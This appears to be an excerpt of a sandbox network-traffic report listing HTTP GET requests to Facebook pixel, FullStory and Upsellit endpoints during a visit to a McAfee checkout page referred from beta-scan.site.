Source: global traffic	HTTP traffic detected: GET /tr/?id=554540123362514&ev=AddToCart&dl=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&rl=https%3A%2F%2Fbeta-scan.site%2F&if=false&ts=1727968799270&cd[content_type]=product&cd[currency]=usd&cd[content_name]=%5B%22mcafee%2B%E2%84%A2%20advanced%20-%20individual%22%5D&cd[value]=89.99&cd[content_ids]=%5B%22663%22%5D&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4126&fbp=fb.1.1727968799265.613085145741678050&ler=other&cdl=API_unavailable&it=1727968795622&coo=false&dpo=LDU&dpoco=1&dpost=1000&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=3&ClientTime=1727968799356&PageStart=1727968793870&PrevBundleTime=1727968798334&LastActivity=5395&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=4&ClientTime=1727968799412&PageStart=1727968793870&PrevBundleTime=1727968799786&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=479551210773800&ev=AddToCart&dl=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&rl=https%3A%2F%2Fbeta-scan.site%2F&if=false&ts=1727968799268&cd[content_type]=product&cd[currency]=usd&cd[content_name]=%5B%22663%22%5D&cd[content_ids]=%5B%22663%22%5D&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4126&fbp=fb.1.1727968799265.613085145741678050&ler=other&cdl=API_unavailable&it=1727968795622&coo=false&dpo=LDU&dpoco=1&dpost=1000&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=554540123362514&ev=AddToCart&dl=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&rl=https%3A%2F%2Fbeta-scan.site%2F&if=false&ts=1727968799270&cd[content_type]=product&cd[currency]=usd&cd[content_name]=%5B%22mcafee%2B%E2%84%A2%20advanced%20-%20individual%22%5D&cd[value]=89.99&cd[content_ids]=%5B%22663%22%5D&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4126&fbp=fb.1.1727968799265.613085145741678050&ler=other&cdl=API_unavailable&it=1727968795622&coo=false&dpo=LDU&dpoco=1&dpost=1000&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source=navigation-source, triggerReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=554540123362514&ev=AddToCart&dl=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&rl=https%3A%2F%2Fbeta-scan.site%2F&if=false&ts=1727968799270&cd[content_type]=product&cd[currency]=usd&cd[content_name]=%5B%22mcafee%2B%E2%84%A2%20advanced%20-%20individual%22%5D&cd[value]=89.99&cd[content_ids]=%5B%22663%22%5D&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4126&fbp=fb.1.1727968799265.613085145741678050&ler=other&cdl=API_unavailable&it=1727968795622&coo=false&dpo=LDU&dpoco=1&dpost=1000&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=479551210773800&ev=AddToCart&dl=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&rl=https%3A%2F%2Fbeta-scan.site%2F&if=false&ts=1727968799268&cd[content_type]=product&cd[currency]=usd&cd[content_name]=%5B%22663%22%5D&cd[content_ids]=%5B%22663%22%5D&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4126&fbp=fb.1.1727968799265.613085145741678050&ler=other&cdl=API_unavailable&it=1727968795622&coo=false&dpo=LDU&dpoco=1&dpost=1000&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=5&ClientTime=1727968800059&PageStart=1727968793870&PrevBundleTime=1727968800432&IsNewSession=true&DeltaT=1930&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=554540123362514&ev=AddToCart&dl=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&rl=https%3A%2F%2Fbeta-scan.site%2F&if=false&ts=1727968799270&cd[content_type]=product&cd[currency]=usd&cd[content_name]=%5B%22mcafee%2B%E2%84%A2%20advanced%20-%20individual%22%5D&cd[value]=89.99&cd[content_ids]=%5B%22663%22%5D&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4126&fbp=fb.1.1727968799265.613085145741678050&ler=other&cdl=API_unavailable&it=1727968795622&coo=false&dpo=LDU&dpoco=1&dpost=1000&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /launch/blank.jsp?original_price1=199.99&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&si=qx3zi0_1727968801 HTTP/1.1Host: www.upsellit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=1&ClientTime=1727968800680&PageStart=1727968793870&PrevBundleTime=0&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /view.jsp?hash=oqGd8pDYsunSWzcvbDXtaAE&siteID=49065&keys=desktop_en-us&si=qx3zi0_1727968801 HTTP/1.1Host: app.upsellit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=2&ClientTime=1727968801459&PageStart=1727968793870&PrevBundleTime=1727968801661&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /launch/blank.jsp?original_price1=199.99&url=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&si=qx3zi0_1727968801 HTTP/1.1Host: www.upsellit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hound/monitor.jsp?qs=dPXZ9bw1J7MpbBgMBViugXr&siteID=42094&si=qx3zi0_1727968801 HTTP/1.1Host: app.upsellit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chatskins/5948/Mcafee-TT-6-23-2022-extra10.png HTTP/1.1Host: www.upsellit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chatskins/5948/Shield50_355X365_white.gif HTTP/1.1Host: prod.upsellit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mcafee.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /view.jsp?hash=oqGd8pDYsunSWzcvbDXtaAE&siteID=49065&keys=desktop_en-us&si=qx3zi0_1727968801 HTTP/1.1Host: app.upsellit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=3&ClientTime=1727968802065&PageStart=1727968793870&PrevBundleTime=1727968802443&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chatskins/5948/Mcafee-TT-6-23-2022-extra10.png HTTP/1.1Host: www.upsellit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=4&ClientTime=1727968802522&PageStart=1727968793870&PrevBundleTime=1727968800350&LastActivity=2&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=4&ClientTime=1727968802666&PageStart=1727968793870&PrevBundleTime=1727968803047&IsNewSession=true&DeltaT=5257&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hound/monitor.jsp?qs=dPXZ9bw1J7MpbBgMBViugXr&siteID=42094&si=qx3zi0_1727968801 HTTP/1.1Host: app.upsellit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=1&ClientTime=1727968803143&PageStart=1727968793870&PrevBundleTime=0&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /chatskins/5948/Shield50_355X365_white.gif HTTP/1.1Host: prod.upsellit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=2&ClientTime=1727968803486&PageStart=1727968793870&PrevBundleTime=1727968803676&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=3&ClientTime=1727968803749&PageStart=1727968793870&PrevBundleTime=1727968804125&IsNewSession=true&DeltaT=7720&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=5&ClientTime=1727968803982&PageStart=1727968793870&PrevBundleTime=1727968803507&LastActivity=1080&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=4&ClientTime=1727968804534&PageStart=1727968793870&PrevBundleTime=1727968800350&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=1&ClientTime=1727968804116&PageStart=1727968793870&PrevBundleTime=0&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=5&ClientTime=1727968804746&PageStart=1727968793870&PrevBundleTime=1727968805123&IsNewSession=true&ContentEncoding=gzip HTTP/1.1Host: rs.fullstory.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
